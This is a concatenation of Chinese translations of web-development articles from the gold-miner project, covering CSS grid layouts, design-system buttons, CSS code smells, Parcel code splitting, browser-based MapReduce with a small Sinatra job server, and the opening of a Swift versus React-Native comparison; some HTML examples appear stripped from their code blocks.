    ``` 这个布局将通过 CSS 栅格实现。确切地说是 3×1 栅格(就是指一列三行)。第一行用于 app 栏,第二行用于 board 栏,第三行用于 `.lists` 元素。 前两行各自有一个固定的高度,而第三行将撑起可变窗口高度的其余部分: ```css .ui { height: 100vh; display: grid; grid-template-rows: $appbar-height $navbar-height 1fr; } ``` 视图单位可以确保 `.ui` 容器总是和浏览器的窗口高度一致。 一个栅格化的上下文被分配给容器,并且指定了上文说的行和列。确切地说,是只指定了行,因为声明单独的列是没有必要的。一对 Sass 变量指定了两个栏目的高度,使用 `fr` 单位指定 `.lists` 元素高度使其撑起可变窗口高度的其余部分,这样每行的大小就设定完成了。 ## 卡片列表部分 如上所述,屏幕栅格的第三行托管着卡片列表的容器。这是标签的轮廓: ```html
    ...
    ...
    ...
    ``` 我用一个满屏宽的 Flexbox 单行行容器来格式化列表: ``` .lists { display: flex; overflow-x: auto; > * { flex: 0 0 auto; // 'rigid' lists margin-left: $gap; } &::after { content: ''; flex: 0 0 $gap; } } ``` 给 `overflow-x` 指定 auto 值,当列表不适合视口提供的宽度时,浏览器会在屏幕底部显示一个水平滚动条。 `flex` 简写属性用于 flex item 使列表更严格。`flex-basis` (简写的方式使用)的 auto 值指示布局引擎从 `.list` 元素的宽度属性取值,`flex-grow` 和 `flex-shrink` 的 0 值可以防止宽度的改变。 接下来我将在列表之间添加一个水平分隔。如果给列表设置右间距,当水平溢出时看板上最后一个列表之后的间距不会被渲染。为了解决这个问题,列表被一个左间距分隔并且最后一个列表和窗口右边缘的间距通过给每个 `.lists` 元素添加一个伪元素 `::after` 来实现。默认值 `flex-shrink: 1` 一定要被重写,否则这个伪元素会”吸收“所有的负空间,然后消失。 注意在 Firefox < 54 的版本上要给 `.lists` 指定 `width: 100%` 以确保正确的布局渲染。 ## 卡片列表 每个卡片列表由一个 header 栏、一个卡片序列和一个 footer 栏目组成。以下 HTML 代码段实现了这一结构: ```html
    List header
    • ...
    • ...
    • ...
    Add a card...
    ``` 这里的关键任务是如何管理列表的高度。header 和 footer 有固定的高度(未必相等)。然后有一些不定数量的卡片,每个卡片都有不定量的内容。因此随着卡片的添加和移除,这个列表也会增大和缩小。 但是高度不能无限增大,它需要有一个取决于 `.lists` 元素高度的上限。一旦突破上线,我想有一个垂直滚动条出现来允许访问溢出列表的卡片。 这听起来是 `max-height` 和 `overflow` 属性能做的。但如果根容器 `.list` 提供了这些属性,一旦列表达到了它的最大高度,所有的 `.list` 元素包括 header 和 footer 在内都会出现滚动条。下图左右两边分别显示错误的和正确的侧边条: ![](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/08/1503994870wrong-right-sidebars.jpg) 因此,让我们把 `max-height` 约束给内部的 `
      `。应该提供什么值呢?header 和 footer 的高度必须从列表父容器(`.lists`)的高度之中扣除: ``` ul { max-height: calc(100% - #{$list-header-height} - #{$list-footer-height}); } ``` 但还有一个问题。百分比数值并不参照 `.lists` 而是参照 `
        ` 元素的父元素 `.list`,并且这个元素没有定义高度,因此这个百分比不能确定。这个问题可以通过设置 `.list` 和 `.lists` 同样高度来解决: ``` .list { height: 100%; } ``` 这样,既然 `.list` 和 `.lists` 总是一样高,它的 `background-color` 属性不能用于列表背景色,但可以使用它的子元素(header, footer 和卡片)来实现这一目的。 最后一个 list 高度的调整很有必要,可用来计算列表底部和窗口底部的一点空间(`$gap`)。 ``` .list { height: calc(100% - #{$gap} - #{$scrollbar-thickness}); } ``` 还有一个 `$scrollbar-thickness` 需要被减去,防止列表触及 `.list` 元素的水平滚动条。 事实上这个滚动条”增长“在 `.lists` 盒子内部。也就是说,100% 这个值是指包括滚动条在内的 `.lists` 的高度。 而在火狐中,这个滚动条被”附加“给 `.lists` 高度的外部,就是说 `.lists` 高度的 100% 并不包含滚动条。所以这个减法就没什么必要了。结果是当滚动条可见时,在火狐中已经触及最大高度的底部边框和滚动条的顶部之间的可视空间会稍大一些。 这是这个组件相应的 CSS 规则: ```css .list { width: $list-width; height: calc(100% - #{$gap} - #{$scrollbar-thickness}); > * { background-color: $list-bg-color; color: #333; padding: 0 $gap; } header { line-height: $list-header-height; font-size: 16px; font-weight: bold; border-top-left-radius: $list-border-radius; border-top-right-radius: $list-border-radius; } footer { line-height: $list-footer-height; border-bottom-left-radius: $list-border-radius; border-bottom-right-radius: $list-border-radius; color: #888; } ul { list-style: none; margin: 0; max-height: calc(100% - #{$list-header-height} - #{$list-footer-height}); overflow-y: auto; } } ``` 如上所述,列表背景色通过给每一个 `.list` 元素的子元素的 `background-color` 属性指定 `$list-bg-color` 值而被渲染。`overflow-y` 使得卡片滚动条只有按需显示。最后,给 header 和 footer 添加一些简单的样式。 ## 完成收尾 单个卡片包含的一个列表元素 HTML: ```
      • Lorem ipsum dolor sit amet, consectetur adipiscing elit
      • ``` 卡片也有可能包含一个封面图片: ```html
      • ... Lorem ipsum dolor sit amet
      • ``` 这是相应的样式: ```css li { background-color: #fff; padding: $gap; &:not(:last-child) { margin-bottom: $gap; } border-radius: $card-border-radius; box-shadow: 0 1px 1px rgba(0,0,0, 0.1); img { display: block; width: calc(100% + 2 * #{$gap}); margin: -$gap 0 $gap (-$gap); border-top-left-radius: $card-border-radius; border-top-right-radius: $card-border-radius; } } ``` 设置完一个背景、填充、和底部间距就差背景图片的布局了。这个图片宽度一定是跨越整个卡片的,从左填充的边缘到右填充的边缘: ``` width: calc(100% + 2 * #{$gap}); ``` 然后,指定负边距以使图片水平和垂直对齐: ``` margin: -$gap 0 $gap (-$gap); ``` 第三个正边距的值用于指定封面图片和文字之间的空间。 最后我给占据屏幕布局第一行的两条添加了一个 flex 格式化上下文,但它们只是草图。通过[扩展 demo](https://codepen.io/SitePoint/pen/brmXRX?editors=0100) 自由构建你自己的实现吧。 ## 总结 这只是实现这种设计的一种可行方法,如果能看见其他方式那一定很有趣。此外,如果能完成整个布局那就更好了,比如完成最后的两个栏目。 另一个潜在的改进是能够为卡片列表实现自定义的滚动条。 所以,[fork 这个 demo](https://codepen.io/SitePoint/pen/brmXRX?editors=0100) 尽情发挥吧,记得在下面的讨论区留下你的链接哦。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/buttons-in-design-systems.md ================================================ > * 原文地址:[Buttons in Design Systems](https://medium.com/eightshapes-llc/buttons-in-design-systems-eac3acf7e23#.u8m3qun1i) * 原文作者:[Nathan Curtis](https://medium.com/@nathanacurtis?source=post_header_lockup) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[Funtrip](https://www.behance.net/Funtrip) * 校对者:[yifili09](https://github.com/yifili09)、[skyar2009](https://github.com/skyar2009) # 视觉系统中的按钮 # ## 建立一个长远的视觉系统的12点建议 ## 我爱按钮们。我可以用按钮**做**很多事:进行下一步,做出决定,或者完成事务。有了按钮,交互变得焕发生机。 这就是为什么**按钮**们是一个设计系统里最重要的组成部分。非常简单,它们在指定的区域提供可以点击的简单标签。因此,按钮是你应用一种设计语言的基本特征的重要方式,之后你可以把特征扩展到其他更复杂的部分上。 这篇文章讲的是我在一个新生系统中着手设计主要按钮、次要按钮、以及一大堆其他类型按钮的时候所学习到的 **12** 条经验。 ### 主要按钮 ### #### #1. 设定一个系统的风格基调 #### 一个按钮就像是系统视觉风格中最纯粹的原子表达(译者注:原子是化学反应中不可分割的最小微粒)。它结合了三大属性——**颜色**、**字体**以及**图像**——这些成为了一个原子中不可分割的部分。按钮也引发了对**空间**的讨论:内部填充(特别是标签的左、右)和边距(与其他元素相邻)。最后,按钮甚至可以表达更深层次的东西,比如圆角(通过**边缘半径**),比如提升效果(通过**边框阴影**)。 **要点**:你应该赞同按钮是一个系统风格的首要展现。如果你把按钮的定义与颜色、大小、空间或其他细节等[新的变量](https://medium.com/salesforce-ux/living-design-system-3ab1f2280ef7)联系起来,那将会是很好的加分项。 按钮这样一个简单的元素包含了范围广泛的属性。 #### #2. 设定一个语言基调 #### 幸运的是,「点击这里」的讲法已经是过去式了。但我们仍然需要回答:一个按钮上的标签可以有多长?标签是用祈使句写的吗(比如「保存」或「关闭」)?我应该用一个对象(「文档」)来匹配一个动词(「保存」)吗?这些常用的标签有一些默认的用处么? 我们是否需要引入品牌声音? **要点**:我发现按钮的价值是通过标签的引导来推动一个一致性的声音。当然,单词表和深层次的文案标准可以在具体的文档中找到,比如说语言和语调的指南。但无论如何,要把各种指引桥接在一起,按钮是一个绝佳的元素。 ![](https://cdn-images-1.medium.com/max/800/1*hqrRbtUd5v_HPeGqf_Ke3Q.png) #### #3. 在背景变得复杂时使用反转色 #### 大部分按钮在白色的背景上都可以正常工作。但是当你把按钮放到一张照片上又会发生什么呢?或者深色的背景上呢?诶,它甚至可能被放到一个浅色的中性颜色上?你的按钮可以被用到任何地方吗?你可以**更改**主要按钮的颜色吗? **要点**:请在一个清晰可见的背景上展示你的按钮,并且设定一个反转色备用——白色?一个完全不同的颜色?或是半透明?——在背景灰暗时使用。当在编排文档时,在一系列有普遍性的背景上展示备用的亮色或暗色来把标准搞清楚。 在不同的背景上展示按钮,看看它们看起来是不是都好 #### #4. 限制每页只有一个按钮,除非要重复主要操作 #### 按钮可以引起动作。我们经常用一个主要的按钮,把用户的注意力吸引到页面里高优先级的操作上。但是,如果有一大堆按钮散落在页面上,我们就无法区分出它们的优先级的先后了。([除非它们都是一样的](http://bradfrost.com/blog/post/conducting-an-interface-inventory/),对吧?) 在某些情况下,使用一个主按钮是恰当的,比如当你必须从一大堆平行的对象中做选择,或是一个设置页面有相似的模块化的区域,布满了指向不同类别的选项。 **要点**:明确什么时候使用,和什么时候应该避免——在一个页面上使用超过一个的主要按钮。 #### #5. 设计并建立一个按钮的交互特征 #### 按钮是最原始的交互,并随着交互变化。只展示按钮在页面加载时的样子,并告诉开发者「这就是按钮的设计!」显然是不够好的。相反,应该由设计师来展示一个按钮在许多不同的状态下应该出现的样式:默认、悬停、焦点状态(「一圈光环」),按下/活动中,甚至一个旋转的加载动画。 **要点**:在资料中附上一个动画展示(把按钮放到页面里!),它可以展示按钮的各种状态而不需要阅读者亲自来互动。阅读文档不是一个寻宝游戏。像 Material Design 的指南那样做一个演示视频将会很加分。 #### #6. 让多元素更具有灵动性 #### 将按钮上的文字与 icon 配对可以让用户更快地识别和更易理解。 但是等等!我认为按钮应该处于可被预见的可点击区域内。当你添加了一个新元素,即使是一个简单的 icon,按钮的布局都不应该被破坏。要应对不可预见的元素揭示了间距和内部对齐等讨厌的问题。你会想要让他们的布局更加平缓,特别是按钮包括了标签、icon **和**其他部件的时候。 **要点**:让你的按钮对代码或设计工具可响应。用户们将要添加东西的——icon、标签、或者其他任何东西——但别担心间距和排列会被破坏。做好了前面的工作你就可以让它们正确地显示了。 ### 次要按钮 ### #### #7. 次要 ≠ 不可用 #### 没有谁希望看到灰色的按钮 但你可能发现你需要为那个吸引人的、高饱和度的主要按钮匹配一个次要按钮。你避免了使用第二个高饱和度的颜色,因为这会导致两个高饱和度的按钮彼此相邻,就像绿色表示**保存**,蓝色表示**提交**。不说用户,就连你自己也不知道哪个按钮更重要。 所以,你可能会选择使用中性颜色。中性颜色看起来接近或完全是灰色。并且它看上去像是表达不可用。更糟糕的是,当主要按钮不可用的时候它也会变成灰色。并且就在你灰色的次要按钮旁边。哎。:-( **要点**:同时处理次级按钮的颜色和不可用按钮的颜色。确保所有选项在一起时都可以正常工作并且都容易可见。 ![](https://cdn-images-1.medium.com/max/800/1*E101zYa4_NxchGVfpKgypg.png) 哪一个才是不可用的? #### #8. 当心机器里的「幽灵」 #### 「幽灵按钮」通常只依赖于相同颜色的边框和标签,而缺乏填充背景色。这样的标签背后的区域是不确定的。有时候标签在白色上(是的,那很容易被看清!)。然而,在其他时候一个纯色或者细节丰富的照片都可以让标签变得很难阅读。 「幽灵」让设计师在设计高对比度的主要按钮时想要偷懒。然而,把他们称为「**幽灵**」是有原因的。因为很多时候它们会无法被看见。我观察了「幽灵按钮」被难以查看的图片覆盖的情况下的可见性测试。参与者看不清它们或很难阅读它们。这将会削弱或破坏我们原本打算让这个按钮实现的交互的价值。 **要点**:在一个系统中使用「幽灵按钮」是将你自己的设计置于为危险中。我观察到的情况表明「幽灵按钮」的表现比填充色还要差。此外,你可能只是想避免花费几个小时来倾听关于这个问题的极端设计师辩论。 幽灵按钮——即使在简单的情况下——表现也是有问题的。你想要在不可预测的背景上使用它?忘掉这回事吧。 ### 其他按钮类型 ### 很快,系统的用户们就需要你提供**那些**其他的按钮。大一点或者小一点的按钮。带有菜单或工具栏可切换的按钮。这取决于你的系统是否足够完整。 #### #9. 可变尺寸,大(或者超大/巨大/扩展)&小(或者微小/极小) #### 交互可以在重要的地方比如**卡片**元素或侧边栏模块中找到。有时,你需要在一个全屏的图片上放上一个巨大的按钮来引起用户关注。 **要点**:在有必要的时候调整按钮的尺寸大小,尽可能像其他的 CSS 类或者设计软件的风格一样简洁。此外,考虑一个更难忘的名字——比如「扩展」或「微小」——而不是一个平淡的「大」或「小」 #### #10. 区分按钮与链接 #### 在扁平化设计的时代,像 [Material Design 这样的视觉系统](https://www.google.com/design/spec/components/buttons.html#buttons-flat-buttons)使用了多种「扁平」按钮,来用在工具栏、对话框操作和行内文本渣。在默认状态下,按钮和链接几乎没有视觉差异。然而,一个按钮的状态和行为,与简单的锚标签相比,会带来完全不同的效果。 **要点**:如果你的系统使用了扁平化的版本,应该确保它的常规使用——在设计和代码中——都有别于链接。此外,这条准则应该涵盖所有复杂交互。例如**焦点**和**被按下**的状态,**间距**和**对齐方式**。 ![](https://cdn-images-1.medium.com/max/800/1*0MCgCs3CpqhuQ9S_pQIalA.png) #### #11. 使用菜单和区块丰富按钮的多样性 #### 可变的按钮可以触发相关的菜单选项来进行选择。许多系统在 UI 位置紧张时提供了复合式的选项,就像**菜单**(或**下拉菜单**)和**分割**(或**分段式**)按钮。 一个菜单按钮可以指示当前的选项(例如已经选择了 Arial 作为字体)或者打开一个独立选项(例如分享或打印)。在右侧添加一个小箭头的图标,你还可以得到一个额外的独立区域来布局一个菜单,同时左侧的区域可以触发一个独立的主要操作。 **要点**:你可以用菜单式的按钮来丰富你的 App 的选项,但需要谨慎。这样的按钮和它们的区域分割(左侧主要操作,右侧菜单)可以支持许多种情况,但这也带来了更高的开发成本和学习成本。对设计更简洁的网站来说,不要用这些不常用的替代方案来破坏了原有的架构。 #### #12. 从开关到工具栏,让按钮们工作地更和谐 #### 按钮可以成组使用。一个**按钮组**常常搭配一个主要选项和一个或多个次要选项。一个**开关按钮**常常用来表示开关(比如粗体)或者显示一个设置菜单的选项(就像文本对齐选项的左对齐、右对齐、居中或两端对齐)。在它们最广泛的用法中,一个工具栏可以把许多不同类型的按钮搭配在一起:主要的、次要的、开关、菜单、部件。 **要点**:当你在拓展按钮的种类时,你应该试着让按钮们在一个紧张的空间内做一个压力测试,并且尝试多种不同的组合。视觉系统的设计师们不是算命先生,没有办法预测未来。但是探索一个不同情形下的合理状态,可以帮助你避免厌恶情绪或一条道走到黑。 ### 对于按钮,就使用
    ``` 这被叫做 BEM mix,我们介绍第三种新的类名称来指向属于 modal 的按钮。这样避免了它在哪里的问题,它通过避免嵌套,减少了名称唯一性的问题,同时通过重复 `.btn` 类避免可变性带来的问题。完美! ## CSS `@import` ## 我会说 CSS `@import` 不仅仅是代码味道,它的的确确是坏的实践。它推迟 CSS 文件的加载(性能的决定性因素),比实际的需要加载的更晚,造成严重的性能下降。下载具有 `@import` 的 CSS 文件的(简化的)工作流程看起来有点像: 1. 获取 HTML 文件,这个 HTML 文件中请求 CSS 文件; 2. 获取 CSS 文件,这个 CSS 文件请求另外一个 CSS 文件; 3. 获取最后一个 CSS 文件; 4. 开始渲染页面。 如果我们得到 `@import` 的内容,将其压入一个单独的文件,工作流程看起来将会是这样: 1. 获取 HTML 文件,这个 HTML 文件中请求 CSS 文件; 2. 获取 CSS 文件; 3. 开始渲染页面。 如果我们不能将所有的 CSS 放入一个文件(例如我们链接了谷歌字体),那么我们应该在 HTML 中使用两个 `` 元素,而不是使用 `@import`。这可能让人感觉有点不那么压缩(但也是更好的方式处理所有 CSS 文件的依赖),它对于性能仍然是比较友好的: 1. 获取 HTML 文件,这个 HTML 文件中请求 CSS 文件; 2. 获取所有的 CSS 文件; 3. 开始渲染页面。 --- 所以我们在这里对我先前那篇关于代码味道的文章做了几点添加。这些是我已经看到的并且忍受着的几点:希望现在你也可以避开他们。 ================================================ FILE: TODO/code-splitting-with-parcel-web-app-bundler.md ================================================ > * 原文地址:[Code Splitting with Parcel Web App Bundler](https://hackernoon.com/code-splitting-with-parcel-web-app-bundler-fe06cc3a20da) > * 原文作者:[Ankush Chatterjee](https://hackernoon.com/@ankushc?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/code-splitting-with-parcel-web-app-bundler.md](https://github.com/xitu/gold-miner/blob/master/TODO/code-splitting-with-parcel-web-app-bundler.md) > * 译者:[kk](https://github.com/kangkai124) > * 校对者:[noahziheng](https://github.com/noahziheng) [pot-code](https://github.com/pot-code) # 使用 web 应用打包工具 Parcel 实现代码分割 ![](https://cdn-images-1.medium.com/max/800/1*3Tp8OGHuIlun20JS84i7DA.gif) 代码分割可谓是当今 web 开发中很热门的话题。今天,我们将探索如何使用 parcel 轻松地实现代码分割。 #### 什么是代码分割? 如果你对它很熟悉,那么你可以跳过这部分。不然的话,还是接着往下看吧。 如果你使用过 JavaScript 框架进行前端开发的话,那么最后肯定会打包成一个很大的 JavaScript 文件。可能因为你写的应用比较复杂,有很多模块之类,总之,这些包都太大了。文件一大,下载的时间就越长,在带宽较低的网络环境下问题尤为显著。所以,请仔细斟酌一下:用户是否真的需要一次性加载所有的功能? 想象有这么一个电子商务的单页面应用。用户登录进来能只是想看一下产品清单,但是他已经花了很长时间,下载到的 JavaScript 不仅仅是渲染产品那部分,还渲染了过滤、产品详情、供货等等等等。 如果这样做的话,那对用户太不公平了!如果我们只加载用户需要的那部分代码,是不是特别赞? 所以,这种把比较大的包拆分成多个更小的包的方法就是代码分割。这些更小的包可以按需或者异步加载。虽然听上去很难实现,但是像 webpack 这种现代打包工具就能帮你做这件事,而 parcel 使用起来更加简单。 ![](https://cdn-images-1.medium.com/max/800/1*WKxqnQQJjn03TXiBM4TYfw.png) 文件拆分成了这些可爱的小 baby 们。来自 [Shreya](https://medium.com/@shreyawriteshere) [[Instagram](https://www.instagram.com/shreyadoodles/)] #### Parcel 到底是什么呢? [Parcel](https://parceljs.org/) 是一个 > 极速零配置 web 应用打包工具 它使得模块打包变得十分简单!如果你还不知道 Parcel,推荐你先看一下 [Indrek Lasn](https://medium.com/@wesharehoodies) 写的 [这篇文章](https://medium.freecodecamp.org/all-you-need-to-know-about-parcel-dbe151b70082)。 #### 开始吧! 嗯...代码部分,我不会使用任何框架,用不用框架并不影响操作。下面例子会用非常简单的代码展示如何拆分代码。 创建一个新的文件夹, `初始化` 一个项目: ``` npm init ``` 或者, ``` yarn init ``` 选择你喜欢的方式(yarn 是我的菜 😉),然后按照下图创建一些文件。 ![](https://cdn-images-1.medium.com/max/800/1*oZy87TFDpGZYXf05uunBxA.png) 世界上最简单的结构有没有? 这个例子中,我们只在 `index.html` 中引入 `index.js` 文件,然后通过一个事件(这个例子中我们使用点击按钮)加载 `someModule.js` 文件,并用它里面的方法来渲染一些内容。 打开 `index.html` 添加如下代码。 ``` Code Splitting like Humans
    ``` 例子很简单,只是一个 HTML 模板,包括一个 button 按钮和渲染 `someModule.js` 内容的 `div`。 接着我们来写 `someModule` 文件: ``` console.log("someModule.js loaded"); module.exports = { render : function(element){ element.innerHTML = "You clicked a button"; } } ``` 我们 export 了一个对象,它有一个 `render` 方法,接收一个元素并将「You clicked a button」渲染到这个元素内部。 现在有意思了。在我们的 `index.js` 中,我们要处理 button 按钮的点击事件,动态的加载 `someModule`。 对于动态的异步加载,我们使用 `import()` 语法,它会按需异步加载一个模块。 看一下如何使用, ``` import('./path/to/module').then(function(page){ //Do Something }); ``` 因为 `import` 是异步的,所以我们用 `then` 来处理它返回的 promise 对象。在 `then` 方法中,我们传入一个函数,这个函数接收从该模块加载进来的对象。这和 `const page = require('./path/to/module');` 很相似,只是动态异步执行而已。 在我们的例子中这么写, ``` import('./someModule').then(function (page) { page.render(document.querySelector(".holder")); }); ``` 于是我们加载了 `someModule` 并调用了它的 render 方法。 接着把它加到按钮点击事件的监听函数中。 ``` console.log("index.js loaded"); window.onload = function(){ document.querySelector("#bt").addEventListener('click',function(evt){ console.log("Button Clicked"); import('./someModule').then(function (page) { page.render(document.querySelector(".holder")); }); }); } ``` 至此代码已经写完了,接下来只需要运行 parcel 即可,它会自动完成所有的配置工作! ``` parcel index.html ``` 它会产生以下的文件。 ![](https://cdn-images-1.medium.com/max/800/1*NEtHUZA1zchHSsWuOqB6mQ.png) 在你的浏览器中运行,观察结果。 ![](https://cdn-images-1.medium.com/max/800/1*RIhun_YTgvmtvHgeqKWNkw.png) 控制台输出 ![](https://cdn-images-1.medium.com/max/800/1*kS4YO7jH-6sA49LuWs-lsA.png) 网络活动记录 可以从控制台输出看到,`someModule` 在按钮被点击之后才被加载。通过 network 可以看到调用 import 后,`codesplit-parcel.js` 是如何加载模块的。 代码分割是多么神奇的一件事,既然我们可以这么简单的实现,那我们还有理由不用吗?💞💞 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/collaborative-map-reduce-in-the-browser.md ================================================ > * 原文地址:[Collaborative Map-Reduce in the Browser](https://www.igvita.com/2009/03/03/collaborative-map-reduce-in-the-browser/) * 原文作者:[Ilya Grigorik](https://www.igvita.com/) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[mypchas6fans] (https://github.com/mypchas6fans) * 校对者:[siegeout] (https://github.com/siegeout) [MAYDAY1993] (https://github.com/MAYDAY1993) # 基于浏览器的 MapReduce 在分布式计算和海量数据中摸爬滚打了很久之后,你一定会感谢优雅的 [Google Map-Reduce 框架](http://en.wikipedia.org/wiki/MapReduce)。它的 _map_ ,_emit_ 和 _reduce_ 模块既通用又简洁,这使它成为了一个强有力的工具。虽然 Google 公开了理论,但是底层的软件实现仍然是闭源的,而这可以说是他们最大的竞争优势之一([GFS](http://labs.google.com/papers/gfs.html),[BigTable](http://labs.google.com/papers/bigtable.html),等等)。当然,现在有很多开源的分支([Apache Hadoop](http://hadoop.apache.org/core/),[Disco](http://discoproject.org/),[Skynet](http://skynet.rubyforge.org/),以及其他),但是人们总会发现,优美简洁的理论和惨痛的实现之间存在的断层:诸如自定义协议,自定义服务器,文件系统,冗余,等等等等。问题来了,我们怎样能把这个差距缩短一点? ## 大规模并行计算 在我和 [Michael Nielsen](http://michaelnielsen.org/blog/?page_id=181) 进行了多次迭代、试错、深入的对话之后,一个念头突然闪现出来: **HTTP + Javascript**!如果简单的通过浏览器打开一个 URL 就能为计算任务( Map-Reduce )做贡献会怎样?你的社交网络肯定不会介意多开一个后台 tab 帮你压缩一两个数据集! ![](https://www.igvita.com/posts/09/xbrowsers.png.pagespeed.ic.gtlyz9PZB7.jpg) 与其关注高吞吐率的专有协议和高效的数据通道来分发和传递数据,我们可以用实战检验过的方法: HTTP 和你喜欢的浏览器。而且全世界还有无数的 [Javascript 处理器](http://en.wikipedia.org/wiki/JavaScript) ——每个浏览器都可以执行。比起其他语言,它是一个完美的数据处理平台。 Google 据说有[数以百万计的服务器](http://www.youtube.com/watch?v=6x0cAzQ7PVs)(而且还在猛增),这是一个惊人的数量。那想要组织一百万人,把他们的零碎计算时间贡献到其中该有多难?我认为这并不是难以实现的,毕竟开始的门槛很低。如果能做到,虽然计算的效率会很低,不过我们会得到一个超大的集群,可以让我们解决一些以前完全做不到的问题。 ## 浏览器中的客户端计算 除了数据的存储和分发,计算任务中最重要的一块就是 CPU 时间。但是,通过把数据分割成可管理的小块,我们可以很容易构造一个基于 HTTP 的工作流,让用户的浏览器为我们处理这些事: ![](https://www.igvita.com/posts/09/xbrowser-mr.png.pagespeed.ic.1SaJmT926Y.png) 整个过程包括简单的 4 步。首先,客户端向追踪计算进度的 job 服务器申请加入集群。然后服务器分配一个工作单元,把客户端重定向(例如 [301 HTTP Redirect](http://en.wikipedia.org/wiki/URL_redirection#HTTP_status_codes_3xx))到一个包含数据和 Javascript map/reduce 方法的 URL。下面是一个简单的分布式 word-count 示例: ``` ... DATA ... ``` 一旦页面加载和 Javascript 被执行之后(因为有了 [Javascript VM](http://ejohn.org/blog/javascript-performance-rundown/) [wars](http://code.google.com/p/nativeclient/),这个过程越来越快了),结果被发回( POST )job 服务器,上述过程不断重复,直到所有任务( _map_ 和 _reduce_ )完成。所以加入集群只需要简单的打开一个 URL,而分发由 HTTP 协议完成。 ## 用 Ruby 写一个简单的 job 服务器 最后的一块拼图是 job 服务器,用来协调分发的工作流。借助 [Sinatra web framework](http://www.sinatrarb.com/) ,只需要如下 30 行 Ruby 代码: require "rubygems" require "sinatra" configure do set :map_jobs, Dir.glob("data/*.txt") set :reduce_jobs, [] set :result, nil end get "/" do redirect "/map/#{options.map_jobs.pop}" unless options.map_jobs.empty? redirect "/reduce" unless options.reduce_jobs.empty? redirect "/done" end get "/map/*" do erb :map, :file => params[:splat].first; end get "/reduce" do erb :reduce, :data => options.reduce_jobs; end get "/done" do erb :done, :answer => options.result; end post "/emit/:phase" do case params[:phase] when "reduce" then options.reduce_jobs.push params['count'] redirect "/" when "finalize" then options.result = params['sum'] redirect "/done" end end # To run the job server: # > ruby job-server.rb -p 80 [bmr-wordcount](http://www.github.com/igrigorik/bmr-wordcount/) - 浏览器 Map-Reduce: word-count 示例 就这些。启动服务器然后在浏览器里打开 URL 。剩下的完全自动化,并且很容易并行 —— 打开更多的浏览器就好了。加上一些负载均衡,数据库,它就真的可以干活了,很酷吧。 第二部分,包含来自社区的一些笔记和评论: [Collaborative / Swarm Computing Notes](http://www.igvita.com/2009/03/07/collaborative-swarm-computing-notes/) ================================================ FILE: TODO/comparing-the-performance-between-native-ios-swift-and-react-native.md ================================================ > * 原文地址:[Comparing the Performance between Native iOS (Swift) and React-Native](https://medium.com/the-react-native-log/comparing-the-performance-between-native-ios-swift-and-react-native-7b5490d363e2#.ads9p0f4n) * 原文作者:[John A. Calderaio](https://medium.com/@jcalderaio?source=post_header_lockup) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[Deepmissea](http://deepmissea.blue) * 校对者:[gy134340](http://gy134340.com/),[Danny1451](http://danny-lau.com/) # 原生 iOS(Swift) 和 React-Native 的性能比较 React-Native 是一个混合的移动框架,可以让你仅仅使用 JavaScript 来构建应用。然而,与其他混合移动开发技术不同的是,你构建的并不是一个 “移动网页应用”(把网页应用封装到一个原生的容器里)。在最后,你会得到一个真正的应用。与使用 Objective-C 编写的 iOS 以及 Java 编写的 Android 应用相同,你的 JavaScript 代码最终会被编译成一个移动应用。这意味着 React-Native 拥有了原生应用和混合应用的好处,而没有任何缺点。 我的目标是找出他们是否能够准确地履行他们的承诺。要实现目标的话,我就需要用 Swift 和 React-Native 构建相同的应用。它需要足够简单,以便我可以学习两种语言并及时完成应用程序,但也需要足够的复杂,才能比较每个应用的 CPU、GPU、内存的使用情况和功耗。应用会有四个 tab。第一个叫做 “Profile”,用来提示用户登录 Facebook 来获得用户个人资料里的照片和邮箱,并展示在页面上。第二个 tab 叫做 “To Do List”,是用 NSUserDefaults(iPhone 内部存储)来做的一个简单的待办事项表,它将有添加和删除条目的功能。第三个 tab 叫做 “Page Viewer”,由一个 PageViewController 组成。PageViewController 有三屏,用户可以来回切换(红、绿、蓝三屏)。最后一个 tab 叫 “Maps”,由一个 MapView 组成,放大用户的当前位置,然后在地图上的用蓝点表示。 ### Swift 的历程 ### 第一步是 iOS 和 Swift。学习 Swift 相对比较容易,因为它很像我知道的其他语言(Java、C++)。然而,学习 Cocoa Touch(iOS 框架)才是更难的任务。我看了 **Udemy.com** 上 Rob Percival 的一系列视频,这让我从初识 Swift 阶段过渡到完成了几个应用。虽然我在看完介绍视频后还是在 Cocoa Touch 上有很多问题。视频里大多数的“学习”只是调用复制/粘贴代码,但是我们不是很清楚它做了什么。我感觉可能老师也不知道这是啥,只是记住了它。我不喜欢对我的代码一无所知。 Apple 的 IDE(Xcode)对用户无疑即先进又友好。你可以点击叫做 Storyboard 